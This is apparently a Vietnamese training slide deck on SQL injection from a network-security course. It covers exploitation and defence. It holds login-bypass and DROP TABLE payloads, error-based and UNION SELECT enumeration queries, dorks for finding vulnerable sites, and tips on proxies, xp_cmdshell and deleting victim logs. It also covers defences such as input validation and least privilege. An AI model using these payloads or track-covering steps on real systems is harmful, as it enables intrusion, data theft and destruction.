SQL injection là một kĩ thuật cho phép những kẻ tấn công thi hành các câu lệnh truy vấn SQL bất hợp pháp (không được người phát triển lường trước) bằng cách lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web.Database là 1 hệ quản trị dùng để quản lý tất cả các thông tin, dữ liệu. Giúp cho việc quản lý thông tin được dễ dàn hơn. Các databse phổ biến hiện nay là: MySQL, MS SQL, Oracle, Access.
40 trang |
Chia sẻ: franklove | Lượt xem: 3375 | Lượt tải: 1
Bạn đang xem trước 20 trang tài liệu Kỹ thuật tấn công và phòng thủ trên không gian mạng - Kỹ thuật tấn công mạng - SQL Injection, để xem tài liệu hoàn chỉnh bạn click vào nút DOWNLOAD ở trên
Institute of Network Security – www.istudy.vn
KỸ THUẬT TẤN CÔNG VÀ PHÒNG
THỦ TRÊN KHÔNG GIAN MẠNG
Institute of Network Security – www.istudy.vn
NỘI DUNG
• Module 01: Tổng quan An ninh mạng
• Module 02: Kỹ thuật tấn công
• Module 03: Kỹ thuật mã hóa
• Module 04: Bảo mật hệ điều hành
• Module 05: Bảo mật ứng dụng
• Module 06: Virus và mã độc
• Module 07: Các công cụ phân tích an ninh mạng
• Module 08: Chính sách bảo mật và phục hồi thảm họa dữ liệu
• Ôn tập
• Báo cáo cuối khóa
Institute of Network Security – www.istudy.vn
Module 02: KỸ THUẬT TẤN CÔNG
• Lesson 01: Footprinting và Reconnaissance
• Lesson 02: Google Hacking
• Lesson 03: Scanning Networks
• Lesson 04: Enumeration
• Lesson 05: System Hacking
• Lesson 06: Sniffer hệ thống mạng
• Lesson 07: Social Engineering
• Lesson 08: Denial of Service
• Lesson 09: Session Hijacking
• Lesson 10: SQL Injection
• Lesson 11: Hacking Wireless Networks
• Lesson 12: Buffer Overflow
Institute of Network Security – www.istudy.vn
SQL Injection
Module 02: KỸ THUẬT TẤN CÔNG
Institute of Network Security – www.istudy.vn
Nội dung
• Các kỹ thuật khai thác
• Tác hại và phòng chống
• SQL Injection Tools
Institute of Network Security – www.istudy.vn
SQL Injection
• SQL injection là một kĩ
thuật cho phép những
kẻ tấn công thi hành các
câu lệnh truy vấn SQL
bất hợp pháp (không
được người phát triển
lường trước) bằng cách
lợi dụng lỗ hổng trong
việc kiểm tra dữ liệu
nhập trong các ứng
dụng web.
Institute of Network Security – www.istudy.vn
SQL Injection
• Database là 1 hệ quản trị dùng để quản lý tất cả các thông tin, dữ
liệu. Giúp cho việc quản lý thông tin được dễ dàn hơn. Các databse
phổ biến hiện nay là: MySQL, MS SQL, Oracle, Access.
• Các câu lệnh truy vấn thường dùng theo hướng hacking: select,
union, convert, delete, update, drop…
• SQL Injection là một trong những kiểu hack web đang dần trở nên
phổ biến hiện nay. Bằng cách inject các mã SQL query/command
vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login
mà không cần username và password, remote execution, dump data
và lấy root của SQL server.
• Công cụ dùng để tấn công là một trình duyệt web bấtkì, chẳng hạn
như Internet Explorer, Netscape, Firefox,...
Institute of Network Security – www.istudy.vn
SQL Injection
• Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn
công có thể thực hiện các thao tác xóa, hiệu chỉnh, … do
có toàn quyền trên cơ sở dữ liệu của ứng dụng. Lỗi này
thường xảy ra trên các ứng dụng web có dữ liệu được
quản lí bằng các hệ quản trị CSDL như SQL Server,
MySQL, Oracle, DB2, Sysbase.
Institute of Network Security – www.istudy.vn
Các kỹ thuật khai thác
Institute of Network Security – www.istudy.vn
Các kỹ thuật khai thác
unintended
SQL query receive valuable data
1
2
3
Victim Server
Victim SQL DB
Attacker
Institute of Network Security – www.istudy.vn
Các kỹ thuật khai thác
• Giới thiệu về Information_schema:
– Đây là một bảng không bao giờ thay đổi với đa số các ngôn ngữ
SQL.
– Được tạo ra khi cài hệ CSDL, chứa thông tin về tất cả các
database. Có vai trò như là cầu nối giữa các database.
– Tên của các bảng trong INFORMATION_SCHEMA.TABLES là
table_name.
– Tên của các cột trong INFORMATION_SCHEMA.COLUMNS là
column_name.
Institute of Network Security – www.istudy.vn
Các kỹ thuật khai thác
CorpSite Forum_data ?????_data
INFORMATION_SCHEMA
users
Id User Pass
1 Admin 123
10 Guess guest
Sản phẩm
col1 col2 coln
… … …
Tin Tức
col1 col2 coln
… … …
Institute of Network Security – www.istudy.vn
Các kỹ thuật khai thác
• Qui trình khai thác SQL Injection:
– Cover: fake ip với proxy, hoặc các tool như: Hide IP, Proxy
Switcher Standard…
– Tìm các đối tượng bị lỗi: manual bằng tay với google; hoặc với
các tool hỗ trợ như: search shop,url scan, sql source analyzic, hp
scrawl, acunetix… và không thể thiếu 1 trình duyệt (tốt nhất là
firefox)
Institute of Network Security – www.istudy.vn
Các kỹ thuật khai thác
• Truyền các lệnh truy vấn và thu thập thông tin:
– Lấy thông tin về database:
convert(int,@@version)--
convert(int,@@servername)--
convert(int,system_user)--
convert(int,db_name())--
Institute of Network Security – www.istudy.vn
Các kỹ thuật khai thác
• Qui trình khai thác SQL Injection:
– Lấy table:
convert(int,(select top 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES))--
– Lấy column:
convert(int,(select top 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS))--
• Truyền các lệnh truy vấn và thu thập thông tin:
– Lấy values trong column
– Giải mã (nếu cần) với: milw0rm.com, md5search.org, các tool
như: LC5, LPC…
Institute of Network Security – www.istudy.vn
Các kỹ thuật khai thác
• Ví dụ: code PHP
$recipient = $_POST[‗recipient‘];
$sql = "SELECT PersonID FROM People WHERE
Username='$recipient' ";
$rs = $db->executeQuery($sql);
• Vấn đề:
– Dữ liệu đầu vào ‘recipient’ có thể bị khai thác trực tiếp từ câu
lệnh SQL
Institute of Network Security – www.istudy.vn
Các kỹ thuật khai thác
• Thử submit các field username, password hoặc field id, ..
bằng hi' or 1=1--
Login: hi' or 1=1--
Pass: hi' or 1=1—
' or 1=1-- " or 1=1-- or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'=‘a
• Đoạn scripts sẽ được thực thi
ok = execute( SELECT …
WHERE user= ' ' or 1=1 -- … )
• Nếu thành công, bạn có thể login vào mà không cần phải biết
username và password
Institute of Network Security – www.istudy.vn
Các kỹ thuật khai thác
• Hoặc
user = ― ′ ; DROP TABLE Users -- ‖
• Thay vào script:
ok = execute( SELECT …
WHERE user= ′ ′ ; DROP TABLE Users … )
• Bảng user có thể bị xoá hoặc thêm users, reset pwds,
etc.
Institute of Network Security – www.istudy.vn
Các kỹ thuật khai thác
• Lệnh SQL Query thông dụng:
strQry = ―Select Count(*) From Users Where Username=‗‖
+ TxtUser.text + ―‘ AND Password=‗‖ + txtPassword.text
+ ―‘‖;
• Khi có user là teo và pass là password:
Select Count(*) From Users Where Username=‗teo‘
AND Password=‗password‘
• Và khi bị hacker can thiệp ‘Or 1-1 – vào câu Query
Select Count(*) From Users Where Username=‗ ‘ Or
1=1 –‘ AND Password=‗ ‘
• Hoặc
Select Count(*) From Users Where Username=‗ ‘ Or
1=1
• Thì có thể đăng nhập vào cơ sở dữ liệu.
Institute of Network Security – www.istudy.vn
Các kỹ thuật khai thác
Institute of Network Security – www.istudy.vn
Các kỹ thuật khai thác
Institute of Network Security – www.istudy.vn
Các kỹ thuật khai thác
• Thi hành lệnh từ xa bằng SQL Injection:
– Nếu cài đặt với chế độ default, MS SQL Server sẽ chạy ở mức
SYSTEM, tương đương với mức truy cập Administrator trên
Windows. Bạn có thể dùng master..xp_cmdshell để thi hành lệnh
từ xa
Institute of Network Security – www.istudy.vn
Các kỹ thuật khai thác
Institute of Network Security – www.istudy.vn
Các kỹ thuật khai thác
Institute of Network Security – www.istudy.vn
Các kỹ thuật khai thác
• Tìm web bị lỗi sql injection
-> google allinurl:‖page?id="
allinurl:‖shopdisplayproducts.asp?id="
• Phân biệt Get và Post:
– GET là phương thức truyền dữ liệu trên địa chỉ URL, chỉ truyền
được tối đa là 256 ký tự, giá trị có thể thay đổi bằng cách sửa
URL .
– POST truyền qua form khi submit. POST khác GET là giá trị biến
dữ liệu không hiện ra trên URL nên bảo mật và lớn hơn.
Institute of Network Security – www.istudy.vn
Các kỹ thuật khai thác
• Một số loại sql injection extend:
'
''
'''
admin' --
admin' #
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
' or 1=1--
" or 1=1--
Institute of Network Security – www.istudy.vn
Các kỹ thuật khai thác
$name = $_REQUEST['name'];
$passwd = $_REQUEST['passwd'];
$query_string = "SELECT * FROM users WHERE username
= '$name' AND password = '$passwd'";
form action="login_bypass.php" method="get">
Login:
Password:
SELECT * FROM users WHERE username = ‘admin‘ -- '
AND password = ‘;
Institute of Network Security – www.istudy.vn
Các kỹ thuật khai thác
1. http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3,4--
2. http://[site]/page.asp?id=1 UNION SELECT ALL
1,DB_NAME,3,4--
3. http://[site]/page.asp?id=1 UNION SELECT ALL
1,@@VERSION,3,4--
4. http://[site]/page.asp?id=1 UNION SELECT ALL
1,column_name,3,4 from
DBNAME.information_schema.columns where
table_name='TABLE-NAME-1'--
5. http://[site]/page.asp?id=1 UNION SELECT ALL 1,COLUMN-
NAME-1,3,4 from TABLE-NAME-1--
Institute of Network Security – www.istudy.vn
Các kỹ thuật khai thác
union seclect
1,@@version,
column_name,4,5,6,7 from Information_schema.columns--
Institute of Network Security – www.istudy.vn
Các kỹ thuật khai thác
• Xóa dấu vết:
– Xóa log trên trang
victim.
– Xóa các tàng tích trên
máy mình.
– Rời khỏi hiện trường.
Institute of Network Security – www.istudy.vn
Tác hại và phòng chống
• Tác hại của dạng tấn công SQL Injection tùy thuộc vào
môi trường và cách cấu hình hệ thống.
• Nếu ứng dụng sử dụng quyền dbo (quyền của người sở
hữu CSDL) khi thao tác dữ liệu, nó có thể xóa toàn bộ
các bảng dữ liệu, tạo các bảng dữ liệu mới...
• Nếu ứng dụng sử dụng quyền sa (quyền quản trị hệ
thống), nó có thể điều khiển toàn bộ hệ CSDL và thậm
chí có thể tạo ra các tài khoản người dùng bất hợp pháp
để điều khiển hệ thống của bạn.
Institute of Network Security – www.istudy.vn
Tác hại và phòng chống
• Để phòng tránh các nguy cơ có thể xảy ra, hãy bảo vệ
các câu truy vấn SQL bằng cách kiểm soát chặt chẽ tất
cả các dữ liệu nhập nhận được từ đối tượng Request
(Request, Request. QueryString, Request.Form, Request.
Cookies, và Request.Server Variables).
• Cách phức tạp hơn là viết 1 hàm kiểm tra dữ liệu vào
(lưu ý là ngoài kiểu vượt qua login còn có các hình thức
SQL Injection khác nguy hiểm hơn là thay đổi, xoá dữ
liệu, đánh cấp thông tin hệ thống, vì thế function này
check chung hết để loại bỏ luôn các hình thức khác).
Institute of Network Security – www.istudy.vn
Tác hại và phòng chống
• Thay đổi "Startup and run SQL Server" dùng mức low
privilege user trong tab SQL Server Security.
• Xóa các stored procedure mà bạn không dùng như:
master..Xp_cmdshell, xp_startmail, xp_sendmail,
sp_makewebtask
• Ngoài ra để tránh các nguy cơ từ SQL Injection attack,
nên chú ý loại bỏ bất kì thông tin kĩ thuật nào chứa
trong thông điệp chuyển xuống cho người dùng khi ứng
dụng có lỗi. Các thông báo lỗi thông thường tiết lộ các
chi tiết kĩ thuật có thể cho phép kẻ tấn công biết được
điểm yếu của hệ thống.
Institute of Network Security – www.istudy.vn
Tác hại và phòng chống
• Cuối cùng, để giới hạn mức độ của SQL Injection attack,
nên kiểm soát chặt chẽ và giới hạn quyền xử lí dữ liệu
đến tài khoản người dùng mà ứng dụng web đang sử
dụng. Các ứng dụng thông thường nên tránh dùng đến
các quyền như dbo hay sa. Quyền càng bị hạn chế, thiệt
hại càng ít.
Institute of Network Security – www.istudy.vn
SQL Injection Tool
Institute of Network Security – www.istudy.vn
SQL Injection Tool
Institute of Network Security – www.istudy.vn
SQL Injection Tool
Institute of Network Security – www.istudy.vn
SQL Injection Tool
Institute of Network Security – www.istudy.vn
TÓM LƯỢC BÀI HỌC
SQL Injection.
Các công cụ cần thiết.
Các điểm cần lưu ý.
Institute of Network Security – www.istudy.vn
Q & A
40